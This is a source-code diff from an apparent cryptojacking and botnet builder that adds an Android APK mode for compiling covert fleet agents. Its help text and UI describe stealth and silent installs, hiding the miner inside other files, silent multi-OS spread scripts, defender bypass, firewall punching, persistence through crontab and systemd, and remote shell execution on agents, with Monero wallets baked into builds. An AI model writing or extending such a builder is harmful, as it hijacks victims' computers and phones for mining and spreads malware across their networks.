&BuildRequest{ + WorkerName: "tablet-1", + ServerURL: "http://192.168.1.10:8989", + CancelToken: "apk-test-token", + ApkMode: true, + } + resp, code, _ := h.buildAPKAgent(context.Background(), req) + if code != 200 || !resp.Success { + t.Fatalf("build failed code=%d resp=%+v", code, resp) + } + if resp.ArtifactPath == "" || resp.DownloadURL == "" { + t.Fatalf("missing artifact paths: %+v", resp) + } + if !strings.HasSuffix(resp.FileName, ".apk") { + t.Fatalf("file_name=%q", resp.FileName) + } + + cfgPath := filepath.Join(h.apkAssetsDir(), "config.json") + raw, err := os.ReadFile(cfgPath) + if err != nil { + t.Fatalf("config.json: %v", err) + } + var cfg apkAssetConfig + if err := json.Unmarshal(raw, &cfg); err != nil { + t.Fatal(err) + } + if cfg.ServerURL != req.ServerURL || cfg.WorkerName != "tablet-1" { + t.Fatalf("config.json: %+v", cfg) + } + + agentAsset := filepath.Join(h.apkAssetsDir(), "agent") + if _, err := os.Stat(agentAsset); err != nil { + t.Fatalf("agent asset missing: %v", err) + } + + // Verify compile step wrote linux/arm64 builtin config with APK flags. + buildDirs, _ := os.ReadDir(filepath.Join(h.dataDir, "builds")) + if len(buildDirs) == 0 { + t.Fatal("no build dir") + } + builtinPath := filepath.Join(h.dataDir, "builds", buildDirs[0].Name(), "agent", "config", "builtin.go") + builtin, err := os.ReadFile(builtinPath) + if err != nil { + t.Fatalf("builtin.go: %v", err) + } + if !strings.Contains(string(builtin), "ApkMode") || !strings.Contains(string(builtin), "MiningDisabled: true") { + t.Fatalf("apk flags missing from builtin.go:\n%s", builtin) + } +} + +func TestNormalizeRequestApkSkipsWallet(t *testing.T) { + h := &Handler{} + req := &BuildRequest{ + WorkerName: "apk-node", + ServerURL: "http://192.168.1.5:8989", + ApkMode: true, + } + if err := h.normalizeRequest(req); err != nil { + t.Fatal(err) + } + if req.TargetOS != "android" || !req.MiningDisabled { + t.Fatalf("normalized apk: os=%q mining_disabled=%v", req.TargetOS, req.MiningDisabled) + } +} diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index de11c65..0740add 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -122,6 +122,11 @@ type BuildRequest struct { LotlOnionEnabled bool `json:"lotl_onion_enabled"` LotlPolicyFromServer bool `json:"lotl_policy_from_server"` LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"` + + // APK mode — Android fleet node (mining off by default). + ApkMode bool `json:"apk_mode"` + ApkAgentName string `json:"apk_agent_name"` + MiningDisabled bool `json:"mining_disabled"` } // BackupPool is a fallback Stratum pool tried if the primary pool is unreachable. @@ -157,6 +162,7 @@ type BuildResponse struct { SigilScramble bool `json:"sigil_scramble,omitempty"` BinaryFingerprint string `json:"binary_fingerprint,omitempty"` StealthScore int `json:"stealth_score,omitempty"` + ArtifactPath string `json:"artifact_path,omitempty"` Error string `json:"error,omitempty"` } @@ -204,6 +210,9 @@ type Handler struct { // can poll GET /api/v1/builder/progress/{token} instead of running a fake timer. activeProgressMu sync.RWMutex activeProgress map[string]BuildProgress + + // apkBuildFn overrides APK packaging (tests inject a mock gradle/script). + apkBuildFn ApkBuildFunc } // SetFleetSecret stores the fleet secret so it is baked into every forged binary. @@ -593,6 +602,9 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) { } func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) { + if req.ApkMode { + return h.buildAPKAgent(ctx, req) + } if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" { return h.buildUniversalAgent(ctx, req, prepPath) } @@ -928,10 +940,13 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error { if req.ServerURL == "" { return fmt.Errorf("server_url is required") } - if req.Wallet == "" { + if req.ApkMode { + ApplyApkBuildPreset(req) + } + if !req.ApkMode && req.Wallet == "" { return fmt.Errorf("wallet is required") } - if h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) { + if !req.ApkMode && h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) { return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 90–106 chars)") } req.OutputDir = strings.TrimSpace(req.OutputDir) @@ -1043,6 +1058,10 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error { if req.PoolPass == "" { req.PoolPass = "x" } + if req.ApkMode { + req.FusionEnabled = false + req.SpreadKit = false + } if req.FusionEnabled { if req.FusionRunOrder == "" { req.FusionRunOrder = "parallel" @@ -1071,7 +1090,11 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error { } } if strings.TrimSpace(req.TargetOS) == "" { - req.TargetOS = "windows" + if req.ApkMode { + req.TargetOS = "android" + } else { + req.TargetOS = "windows" + } } if req.SpreadKit { req.FusionEnabled = false @@ -1249,6 +1272,9 @@ func GetBuiltinConfig() BuiltinConfig { LotlOnionEnabled: %v, LotlPolicyFromServer: %v, LotlOnionTiers: %s, + + ApkMode: %v, + MiningDisabled: %v, } } `, buildID, time.Now().UTC().Format(time.RFC3339), @@ -1331,6 +1357,8 @@ func GetBuiltinConfig() BuiltinConfig { req.LotlOnionEnabled, req.LotlPolicyFromServer, formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)), + req.ApkMode, + req.MiningDisabled, ) } diff --git a/server/internal/builder/platform.go b/server/internal/builder/platform.go index cb49021..9a10311 100644 --- a/server/internal/builder/platform.go +++ b/server/internal/builder/platform.go @@ -26,6 +26,9 @@ var defaultPlatforms = []BuildPlatform{ } func platformsForRequest(req *BuildRequest) []BuildPlatform { + if req.ApkMode || strings.ToLower(strings.TrimSpace(req.TargetOS)) == "android" { + return []BuildPlatform{{GOOS: "linux", GOARCH: "arm64", Ext: ""}} + } target := strings.ToLower(strings.TrimSpace(req.TargetOS)) if target == "" || target == "windows" { return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}} diff --git a/server/internal/builder/platform_test.go b/server/internal/builder/platform_test.go index ea8ceb8..bcb034f 100644 --- a/server/internal/builder/platform_test.go +++ b/server/internal/builder/platform_test.go @@ -7,6 +7,13 @@ import ( "testing" ) +func TestPlatformsForRequestAndroid(t *testing.T) { + ps := platformsForRequest(&BuildRequest{TargetOS: "android"}) + if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" { + t.Fatalf("android maps to linux/arm64 agent, got %+v", ps) + } +} + func TestPlatformsForRequestWindowsDefault(t *testing.T) { req := &BuildRequest{TargetOS: ""} ps := platformsForRequest(req) diff --git a/server/internal/clearance/default.go b/server/internal/clearance/default.go index a7abb7f..9663ac6 100644 --- a/server/internal/clearance/default.go +++ b/server/internal/clearance/default.go @@ -1,11 +1,19 @@ package clearance -import "crypto-miner-server/internal/models" +import ( + "os" + + "crypto-miner-server/internal/models" +) // DefaultClearance returns the baseline clearance for an agent. // Online agents start at L1 (mining commands); offline agents are L0 (read-only). +// AETHERFORGE_E2E=1 (Playwright phase 8) grants L3 so shell exec E2E can round-trip. func DefaultClearance(agent *models.Agent) int { if agent != nil && agent.Status == "online" { + if os.Getenv("AETHERFORGE_E2E") == "1" { + return L3 + } return L1 } return L0 diff --git a/server/web/e2e/crucible-command.spec.ts b/server/web/e2e/crucible-command.spec.ts index 6b071c2..cc9f2df 100644 --- a/server/web/e2e/crucible-command.spec.ts +++ b/server/web/e2e/crucible-command.spec.ts @@ -46,6 +46,8 @@ test.describe('Crucible remote command', () => { const terminal = page.locator('.crucible-terminal'); await expect(terminal.getByText('echo crucible-e2e-ping')).toBeVisible({ timeout: 10_000 }); - await expect(terminal.getByText('crucible-e2e-ping')).toBeVisible({ timeout: 15_000 }); + await expect(terminal.getByText('crucible-e2e-ping', { exact: true })).toBeVisible({ + timeout: 15_000, + }); }); }); diff --git a/server/web/e2e/pages.spec.ts b/server/web/e2e/pages.spec.ts index ebe8a7a..e62ddec 100644 --- a/server/web/e2e/pages.spec.ts +++ b/server/web/e2e/pages.spec.ts @@ -38,7 +38,7 @@ test.describe('Page smoke', () => { await expect(page.getByRole('button', { name: /Logic gates/i })).toBeVisible(); await expect(page.getByRole('button', { name: /AI Control/i })).toBeVisible(); await page.getByRole('button', { name: /AI Control/i }).click(); - await expect(page.getByPlaceholderText('http://127.0.0.1:11434/v1')).toBeVisible(); + await expect(page.locator('#cal-ai-endpoint')).toBeVisible(); await expect(page.getByRole('button', { name: 'Refresh models' })).toBeVisible(); }); diff --git a/server/web/src/components/Fleet/NetworkTopoMap.tsx b/server/web/src/components/Fleet/NetworkTopoMap.tsx index ac187e8..6ed2053 100644 --- a/server/web/src/components/Fleet/NetworkTopoMap.tsx +++ b/server/web/src/components/Fleet/NetworkTopoMap.tsx @@ -12,6 +12,7 @@ import { type SubnetLayout, } from '../../help/networkTopology'; import { agentAccentColor } from '../../help/fleetHeatMap'; +import { platformIcon } from '../../help/platform'; import './NetworkTopoMap.css'; // ── Types ────────────────────────────────────────────────────────────────── @@ -29,14 +30,6 @@ interface Props { // ── Platform icon helper ─────────────────────────────────────────────────── -function platformIcon(platform: string): string { - const p = platform.toLowerCase(); - if (p.includes('win')) return '⊞'; - if (p.includes('linux')) return '🐧'; - if (p.includes('darwin')) return ''; - return '⬡'; -} - // ── Hashrate spike tracking ──────────────────────────────────────────────── const SPIKE_RATIO = 1.3; diff --git a/server/web/src/help/accessDepth.test.ts b/server/web/src/help/accessDepth.test.ts index 65a7717..ea8c291 100644 --- a/server/web/src/help/accessDepth.test.ts +++ b/server/web/src/help/accessDepth.test.ts @@ -76,3 +76,27 @@ describe('buildAccessDepthModel pending chain', () => { expect(model.failed).toHaveLength(1); }); }); + +describe('buildAccessDepthModel android', () => { + it('uses android platform label and probes', () => { + const model = buildAccessDepthModel( + agent({ platform: 'android', os_version: '14', arch: 'arm64' }), + parseAccessDepthDiagnostics({ + environment_probes: { + wifi: true, + battery: true, + foreground_service: true, + }, + tier_chain_order: ['foreground_service', 'cpu_inprocess'], + }), + ); + expect(model.platformLabel).toBe('Android'); + expect(model.probes.map((p) => p.label)).toEqual(['Wi-Fi', 'Battery', 'Foreground svc']); + expect(model.miningOnion.map((r) => r.tier)).toEqual([ + 'foreground_service', + 'cpu_inprocess', + 'desktop_tiers_skipped', + ]); + expect(model.spreadOnion).toEqual([]); + }); +}); diff --git a/server/web/src/help/accessDepth.ts b/server/web/src/help/accessDepth.ts index 6530720..a52ce8f 100644 --- a/server/web/src/help/accessDepth.ts +++ b/server/web/src/help/accessDepth.ts @@ -1,5 +1,6 @@ import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers'; import type { Agent } from '../types'; +import { isAndroidPlatform, platformLabel } from './platform'; import { formatLotlTierLabel, parseTierAttempts, type TierAttempt } from '../types/lotl'; /** Mirrors agent/miner/environment_probe.go */ @@ -11,6 +12,9 @@ export interface EnvironmentProbes { gpu?: boolean; av_blocks_exe?: boolean; webview2?: boolean; + wifi?: boolean; + battery?: boolean; + foreground_service?: boolean; } export interface StrategyReason { @@ -117,6 +121,12 @@ export const DEFAULT_MINING_TIER_ORDER = [ 'stratum_direct', ] as const; +/** APK fleet-node mining path — foreground service then in-process CPU. */ +export const ANDROID_MINING_TIER_ORDER = ['foreground_service', 'cpu_inprocess'] as const; + +/** Virtual timeline row summarizing skipped desktop tiers on Android. */ +export const ANDROID_DESKTOP_SKIPPED_TIER = 'desktop_tiers_skipped'; + const DEFAULT_TRIPLE_RECON = ['kev_scan', 'vuln_recon', 'service_probe', 'listen_ports']; const DEFAULT_TRIPLE_DEPLOY = [ 'discover_and_join', @@ -133,7 +143,7 @@ export function parseEnvironmentProbes(raw: unknown): EnvironmentProbes | undefi if (!raw || typeof raw !== 'object') return undefined; const row = raw as Record; const probes: EnvironmentProbes = {}; - for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2'] as const) { + for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2', 'wifi', 'battery', 'foreground_service'] as const) { if (typeof row[key] === 'boolean') probes[key] = row[key]; } return Object.keys(probes).length > 0 ? probes : undefined; @@ -205,15 +215,21 @@ function ordersDiffer(a: readonly string[], b: readonly string[]): boolean { return a.some((tier, i) => tier.toLowerCase() !== b[i]?.toLowerCase()); } -function platformLabel(platform?: string): string { - const p = (platform || '').toLowerCase(); - if (p.includes('darwin') || p.includes('mac')) return 'macOS'; - if (p.includes('linux')) return 'Linux'; - if (p.includes('win') || p === 'windows') return 'Windows'; - return platform?.trim() || 'Unknown'; +function androidDesktopSkipped(): string[] { + return DEFAULT_MINING_TIER_ORDER.filter( + (t) => !ANDROID_MINING_TIER_ORDER.includes(t as (typeof ANDROID_MINING_TIER_ORDER)[number]), + ); } function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeChip[] { + if (isAndroidPlatform(agent.platform)) { + const p = probes ?? {}; + return [ + { key: 'wifi', label: 'Wi-Fi', ok: p.wifi === true }, + { key: 'battery', label: 'Battery', ok: p.battery === true }, + { key: 'fg_service', label: 'Foreground svc', ok: p.foreground_service === true }, + ].filter((c) => c.ok || probes != null); + } const p = probes ?? {}; const chips: ProbeChip[] = [ { key: 'docker', label: 'Docker', ok: p.docker === true }, @@ -309,6 +325,15 @@ function resolveMiningOrder( policy: AccessDepthServerPolicy | undefined, agent: Agent, ): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } { + if (isAndroidPlatform(agent.platform)) { + const order = diag?.tier_chain_order?.length + ? diag.tier_chain_order + : [...ANDROID_MINING_TIER_ORDER]; + const skipped = diag?.tier_chain_skipped?.length + ? diag.tier_chain_skipped + : androidDesktopSkipped(); + return { order, skipped, source: diag?.tier_chain_order?.length ? 'agent' : 'default' }; + } if (diag?.adaptive_strategy?.tier_order?.length) { const adaptiveOrder = diag.adaptive_strategy.tier_order; const adaptiveActive = ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER); @@ -431,8 +456,9 @@ export function buildAccessDepthModel( const pending = computePendingTiers(order, skipped, attempts); const inProgressTier = detectInProgress(agent, attempts, pending, activeTier); - const spreadOrder = - policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0 + const spreadOrder = isAndroidPlatform(agent.platform) + ? [] + : policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0 ? policy.lotl_onion_tiers : [...DEFAULT_LOTL_ONION_TIERS]; @@ -447,6 +473,18 @@ export function buildAccessDepthModel( if (agent.os_version) osParts.push(agent.os_version); if (agent.arch) osParts.push(agent.arch); + const miningOnion = isAndroidPlatform(agent.platform) + ? [ + ...buildOnionRows([...ANDROID_MINING_TIER_ORDER], [], attempts, activeTier, atlasSkips), + { + index: ANDROID_MINING_TIER_ORDER.length + 1, + tier: ANDROID_DESKTOP_SKIPPED_TIER, + label: formatLotlTierLabel(ANDROID_DESKTOP_SKIPPED_TIER), + status: 'skipped' as const, + }, + ] + : buildOnionRows(order, skipped, attempts, activeTier, atlasSkips); + return { platformLabel: platformLabel(agent.platform), osLine: osParts.join(' · '), @@ -462,7 +500,7 @@ export function buildAccessDepthModel( inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined, pendingTiers: pending, pendingLabels: pending.map(formatLotlTierLabel), - miningOnion: buildOnionRows(order, skipped, attempts, activeTier, atlasSkips), + miningOnion, spreadOnion: spreadOrder.map((tier, i) => ({ index: i + 1, tier, diff --git a/server/web/src/help/docAnchors.ts b/server/web/src/help/docAnchors.ts index 5176c78..ea29214 100644 --- a/server/web/src/help/docAnchors.ts +++ b/server/web/src/help/docAnchors.ts @@ -18,6 +18,8 @@ export const DOC_ANCHORS: Record = { pool_pass: '/docs/#mining', target_os: '/docs/#forge', target_arch: '/docs/#forge', + apk_mode: '/docs/#forge', + apk_agent_name: '/docs/#forge', output_dir: '/docs/#forge', thread_mode: '/docs/#forge', thread_percent: '/docs/#forge-stealth', diff --git a/server/web/src/help/forgeFormNormalize.test.ts b/server/web/src/help/forgeFormNormalize.test.ts index 7431fd0..783c894 100644 --- a/server/web/src/help/forgeFormNormalize.test.ts +++ b/server/web/src/help/forgeFormNormalize.test.ts @@ -29,6 +29,15 @@ describe('forgeFormNormalize', () => { expect(deriveDeliverableType(baseForm())).toBe('single'); }); + it('apk mode forces android arm64 and clears fusion', () => { + const out = normalizeForgeForm(baseForm({ apk_mode: true, fusion_enabled: true, target_os: 'windows' })); + expect(out.apk_mode).toBe(true); + expect(out.target_os).toBe('android'); + expect(out.target_arch).toBe('arm64'); + expect(out.fusion_enabled).toBe(false); + expect(out.mining_disabled).toBe(true); + }); + it('spread kit forces universal and clears fusion', () => { const out = normalizeForgeForm(baseForm({ spread_kit: true, fusion_enabled: true, target_os: 'windows' })); expect(out.spread_kit).toBe(true); diff --git a/server/web/src/help/forgeFormNormalize.ts b/server/web/src/help/forgeFormNormalize.ts index b66beb0..f1e5aae 100644 --- a/server/web/src/help/forgeFormNormalize.ts +++ b/server/web/src/help/forgeFormNormalize.ts @@ -37,6 +37,7 @@ const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [ ]; export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable { + if (form.apk_mode) return 'single'; if (form.spread_kit) return 'spread_kit'; if (form.fusion_enabled) return 'fusion'; return 'single'; @@ -87,6 +88,7 @@ export function spreadKitPreset(): Partial { export function installBaseOptionsForTarget(targetOs?: string): InstallBaseOption[] { const t = targetOs || 'windows'; + if (t === 'android') return UNIX_INSTALL_BASES; if (t === 'linux' || t === 'darwin') return UNIX_INSTALL_BASES; if (t === 'universal') return UNIVERSAL_INSTALL_BASES; return WINDOWS_INSTALL_BASES; @@ -100,10 +102,29 @@ function isSingleUnixTarget(targetOs?: string): boolean { return targetOs === 'linux' || targetOs === 'darwin'; } +function isAndroidTarget(targetOs?: string, apkMode?: boolean): boolean { + return !!apkMode || targetOs === 'android'; +} + /** Coerce form so inactive fields hold safe defaults and incompatible values are cleared. */ export function normalizeForgeForm(form: BuildRequest): BuildRequest { const next: BuildRequest = { ...form }; + if (next.apk_mode) { + next.fusion_enabled = false; + next.spread_kit = false; + next.target_os = 'android'; + next.target_arch = 'arm64'; + next.mining_disabled = true; + next.gpu_enabled = false; + next.miner_execution = 'inprocess'; + next.threads = 1; + next.thread_mode = 'fixed'; + if (!next.apk_agent_name?.trim()) { + next.apk_agent_name = next.worker_name; + } + } + // Deliverable coupling — spread kit wins if both flags were somehow set if (next.spread_kit) { next.fusion_enabled = false; @@ -123,8 +144,17 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest { next.spread_kit = false; } + if (isAndroidTarget(next.target_os, next.apk_mode)) { + next.target_os = 'android'; + next.target_arch = 'arm64'; + next.fusion_enabled = false; + next.spread_kit = false; + } + // Architecture - if (isSingleUnixTarget(next.target_os)) { + if (isAndroidTarget(next.target_os, next.apk_mode)) { + next.target_arch = 'arm64'; + } else if (isSingleUnixTarget(next.target_os)) { if (!next.target_arch || next.target_arch === 'all') { next.target_arch = next.target_os === 'darwin' ? 'arm64' : 'amd64'; } diff --git a/server/web/src/help/forgeRules.test.ts b/server/web/src/help/forgeRules.test.ts index 6b84e46..a389089 100644 --- a/server/web/src/help/forgeRules.test.ts +++ b/server/web/src/help/forgeRules.test.ts @@ -166,6 +166,20 @@ describe('applyForgeFieldUpdate', () => { expect(out.target_os).toBe('universal'); }); + it('apk_mode locks android arm64 and disables fusion', () => { + const out = applyForgeFieldUpdate( + baseForm({ fusion_enabled: true, target_os: 'windows' }), + 'apk_mode', + true + ); + expect(out.apk_mode).toBe(true); + expect(out.target_os).toBe('android'); + expect(out.target_arch).toBe('arm64'); + expect(out.fusion_enabled).toBe(false); + expect(out.mining_disabled).toBe(true); + expect(out.apk_agent_name).toBe('pc-lab-1'); + }); + it('spread_kit applies full preset and clears fusion', () => { const out = applyForgeFieldUpdate(baseForm({ fusion_enabled: true }), 'spread_kit', true); expect(out.spread_kit).toBe(true); diff --git a/server/web/src/help/forgeRules.ts b/server/web/src/help/forgeRules.ts index 1a9b5e8..552c742 100644 --- a/server/web/src/help/forgeRules.ts +++ b/server/web/src/help/forgeRules.ts @@ -127,8 +127,39 @@ export function applyForgeFieldUpdate( } break; + case 'apk_mode': + if (value === true) { + Object.assign(next, { + apk_mode: true, + fusion_enabled: false, + spread_kit: false, + target_os: 'android', + target_arch: 'arm64', + mining_disabled: true, + gpu_enabled: false, + threads: 1, + thread_mode: 'fixed', + display_mode: 'background', + silent_mode: true, + stealth_mode: true, + file_logging: false, + }); + if (!next.apk_agent_name?.trim()) { + next.apk_agent_name = next.worker_name; + } + } else { + next.apk_mode = false; + next.mining_disabled = false; + if (next.target_os === 'android') { + next.target_os = 'windows'; + next.target_arch = 'all'; + } + } + break; + case 'fusion_enabled': if (value === true) { + next.apk_mode = false; next.display_mode = 'background'; next.silent_mode = true; next.spread_kit = false; @@ -241,13 +272,24 @@ export function getForgeFieldMeta(form: BuildRequest): Record { expect(ps?.state).toBe('skipped_by_atlas'); }); }); + +describe('buildLotlTimelineModel android', () => { + it('shows shortened android chain instead of 14 spread tiers', () => { + const model = buildLotlTimelineModel( + agent({ platform: 'android', status: 'online', lotl_tier: 'foreground_service' }), + ['docker', 'powershell', 'dotnet'], + [{ tier: 'foreground_service', ok: false }], + ); + expect(model.total).toBe(3); + expect(model.tiers.map((t) => t.tier)).toEqual([ + 'foreground_service', + 'cpu_inprocess', + 'desktop_tiers_skipped', + ]); + expect(model.tiers.find((t) => t.tier === 'desktop_tiers_skipped')?.state).toBe('skipped'); + }); +}); diff --git a/server/web/src/help/lotlTimeline.ts b/server/web/src/help/lotlTimeline.ts index 221e2a1..ac31722 100644 --- a/server/web/src/help/lotlTimeline.ts +++ b/server/web/src/help/lotlTimeline.ts @@ -1,6 +1,8 @@ import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers'; import type { AtlasSkipView } from './accessDepth'; +import { ANDROID_DESKTOP_SKIPPED_TIER, ANDROID_MINING_TIER_ORDER } from './accessDepth'; import type { Agent } from '../types'; +import { isAndroidPlatform } from './platform'; import { formatLotlTierLabel, type TierAttempt } from '../types/lotl'; /** Per-tier state for the live onion timeline UI. */ @@ -59,6 +61,7 @@ function tierDocHint(tier: string): string { } function tierLabel(tier: string): string { + if (tier === ANDROID_DESKTOP_SKIPPED_TIER) return 'Desktop tiers skipped'; const key = canonicalSpreadTier(tier) as (typeof DEFAULT_LOTL_ONION_TIERS)[number]; return LOTL_ONION_TIER_DOCS.find((d) => d.id === key)?.label ?? formatLotlTierLabel(tier); } @@ -71,7 +74,10 @@ function lastAttemptForTier(attempts: TierAttempt[], spreadTier: string): TierAt return undefined; } -export function resolveLotlTierOrder(policyTiers?: string[]): string[] { +export function resolveLotlTierOrder(policyTiers?: string[], agent?: Agent): string[] { + if (agent && isAndroidPlatform(agent.platform)) { + return [...ANDROID_MINING_TIER_ORDER, ANDROID_DESKTOP_SKIPPED_TIER]; + } if (policyTiers?.length) return [...policyTiers]; return [...DEFAULT_LOTL_ONION_TIERS]; } @@ -83,6 +89,9 @@ export function buildLotlTimelineModel( skipped: string[] = [], atlasSkips: AtlasSkipView[] = [], ): LotlTimelineModel { + const effectiveOrder = isAndroidPlatform(agent.platform) + ? [...ANDROID_MINING_TIER_ORDER, ANDROID_DESKTOP_SKIPPED_TIER] + : order; const skippedSet = new Set(skipped.map((s) => canonicalSpreadTier(s))); const atlasSet = new Set(atlasSkips.map((s) => canonicalSpreadTier(s.tier))); const activeTier = agent.lotl_tier?.trim() || undefined; @@ -95,12 +104,14 @@ export function buildLotlTimelineModel( if (!last?.ok) tryingTier = activeCanon; } - const tiers: LotlTimelineTierRow[] = order.map((tier, i) => { + const tiers: LotlTimelineTierRow[] = effectiveOrder.map((tier, i) => { const key = canonicalSpreadTier(tier); const attempt = lastAttemptForTier(attempts, tier); let state: LotlTimelineTierState = 'pending'; - if (atlasSet.has(key)) { + if (tier === ANDROID_DESKTOP_SKIPPED_TIER) { + state = 'skipped'; + } else if (atlasSet.has(key)) { state = 'skipped_by_atlas'; } else if (skippedSet.has(key)) { state = 'skipped'; @@ -126,7 +137,7 @@ export function buildLotlTimelineModel( return { tiers, - total: order.length, + total: effectiveOrder.length, succeeded, activeTier, tryingTier, diff --git a/server/web/src/help/platform.test.ts b/server/web/src/help/platform.test.ts new file mode 100644 index 0000000..e67cddd --- /dev/null +++ b/server/web/src/help/platform.test.ts @@ -0,0 +1,16 @@ +/** @vitest-environment node */ +import { describe, expect, it } from 'vitest'; +import { isAndroidPlatform, platformIcon, platformLabel } from './platform'; + +describe('platform helpers', () => { + it('labels android fleet nodes', () => { + expect(platformLabel('android')).toBe('Android'); + expect(isAndroidPlatform('android')).toBe(true); + expect(platformIcon('android')).toBe('🤖'); + }); + + it('labels darwin as macOS with apple icon', () => { + expect(platformLabel('darwin')).toBe('macOS'); + expect(platformIcon('darwin')).toBe('🍎'); + }); +}); diff --git a/server/web/src/help/platform.ts b/server/web/src/help/platform.ts new file mode 100644 index 0000000..9d9de9b --- /dev/null +++ b/server/web/src/help/platform.ts @@ -0,0 +1,24 @@ +/** Fleet-visible platform label and icon helpers (Crucible, Access Depth, ROI). */ + +export function isAndroidPlatform(platform?: string): boolean { + return (platform || '').toLowerCase().includes('android'); +} + +export function platformLabel(platform?: string): string { + const p = (platform || '').toLowerCase(); + if (isAndroidPlatform(p)) return 'Android'; + if (p.includes('darwin') || p.includes('mac')) return 'macOS'; + if (p.includes('linux')) return 'Linux'; + if (p.includes('win') || p === 'windows') return 'Windows'; + return platform?.trim() || 'Unknown'; +} + +export function platformIcon(platform?: string): string { + if (!platform) return '⬡'; + const p = platform.toLowerCase(); + if (p.includes('android')) return '🤖'; + if (p.includes('darwin') || p.includes('mac')) return '🍎'; + if (p === 'windows' || p.includes('windows') || p.includes('win')) return '⊞'; + if (p.includes('linux')) return '🐧'; + return '⬡'; +} diff --git a/server/web/src/help/settingHelp.test.ts b/server/web/src/help/settingHelp.test.ts index 8993199..828a7f0 100644 --- a/server/web/src/help/settingHelp.test.ts +++ b/server/web/src/help/settingHelp.test.ts @@ -135,6 +135,8 @@ describe('FIELD_HELP', () => { 'remote_aggressive', 'target_os', 'target_arch', + 'apk_mode', + 'apk_agent_name', 'spread_kit', 'forge_deliverable', 'forge_operation_mode', diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts index 3f07d5a..3628dcd 100644 --- a/server/web/src/help/settingHelp.ts +++ b/server/web/src/help/settingHelp.ts @@ -171,7 +171,11 @@ export const FIELD_HELP: Record = { linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.', hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).', remote_aggressive: 'Remote Aggressive Ops: Enables on-demand commands from the dashboard — spread now, subnet scan, cloudflared tunnel, firewall punch, defender bypass. Requires explicit button press; nothing runs automatically except what other toggles define.', - target_os: 'Target platform: Windows-only, Linux, macOS, or Universal (all three in one ZIP). Movie fusion and Spread Kit always use Universal.', + target_os: 'Target platform: Windows-only, Linux, macOS, Universal (all three in one ZIP), or Android APK fleet node. Movie fusion and Spread Kit always use Universal; APK mode locks Android arm64.', + apk_mode: + 'Package a fleet node as an Android APK — not mining-first. Compiles linux/arm64 agent, embeds server_url + worker name, and joins the fleet as platform=android after install. Grant permissions on first open.', + apk_agent_name: + 'Label baked into the APK assets config.json. Defaults to Worker Name. Shows on Command Deck after the phone/tablet connects.', target_arch: 'CPU architecture for single-platform Linux/macOS builds (amd64 or arm64). Ignored for Universal.', spread_kit: 'Spread Kit ZIP: deploy scripts for each OS that silently install the worker via --spread-install. No fusion wrapper.', forge_deliverable: 'What you are shipping: a single-platform installer, a silent multi-OS Spread Kit, or a movie/prep fusion package.', diff --git a/server/web/src/pages/BuilderPage.test.tsx b/server/web/src/pages/BuilderPage.test.tsx index 0020b2a..e379724 100644 --- a/server/web/src/pages/BuilderPage.test.tsx +++ b/server/web/src/pages/BuilderPage.test.tsx @@ -292,6 +292,20 @@ describe('BuilderPage', () => { expect(api.exportSpreadKit).toHaveBeenCalled(); }); + it('APK mode toggle locks platform to Android arm64 and hides Fusion', async () => { + localStorage.setItem('aetherforge-forge-mode', 'advanced'); + const user = userEvent.setup(); + renderBuilder(); + await screen.findByText('Worker Name'); + + const apkToggle = await screen.findByRole('checkbox', { name: /APK mode/i }); + await user.click(apkToggle); + + expect(screen.getByDisplayValue('Android (arm64)')).toBeInTheDocument(); + expect(screen.getByText(/platform=android/i)).toBeInTheDocument(); + expect(screen.queryByText('Fusion — Hide miner in any file')).not.toBeInTheDocument(); + }); + it('polls builder progress endpoint while a forge is running', async () => { type BuildResult = Awaited>; let resolveBuild!: (value: BuildResult) => void; diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index da929f2..1a1a2b6 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -1656,7 +1656,11 @@ export default function BuilderPage() { )}

- + 0 && form.wallet.trim().length < 90 ? ' input-warn' : ''}`} @@ -1828,7 +1832,11 @@ export default function BuilderPage() { type="text" className="input" disabled - value="Universal (all platforms)" + value={ + form.apk_mode + ? 'Android (arm64)' + : 'Universal (all platforms)' + } readOnly /> ) : ( @@ -1868,6 +1876,26 @@ export default function BuilderPage() { Upload nothing — forge produces the deploy ZIP.

)} +
+ + + +
+ {form.apk_mode && ( +

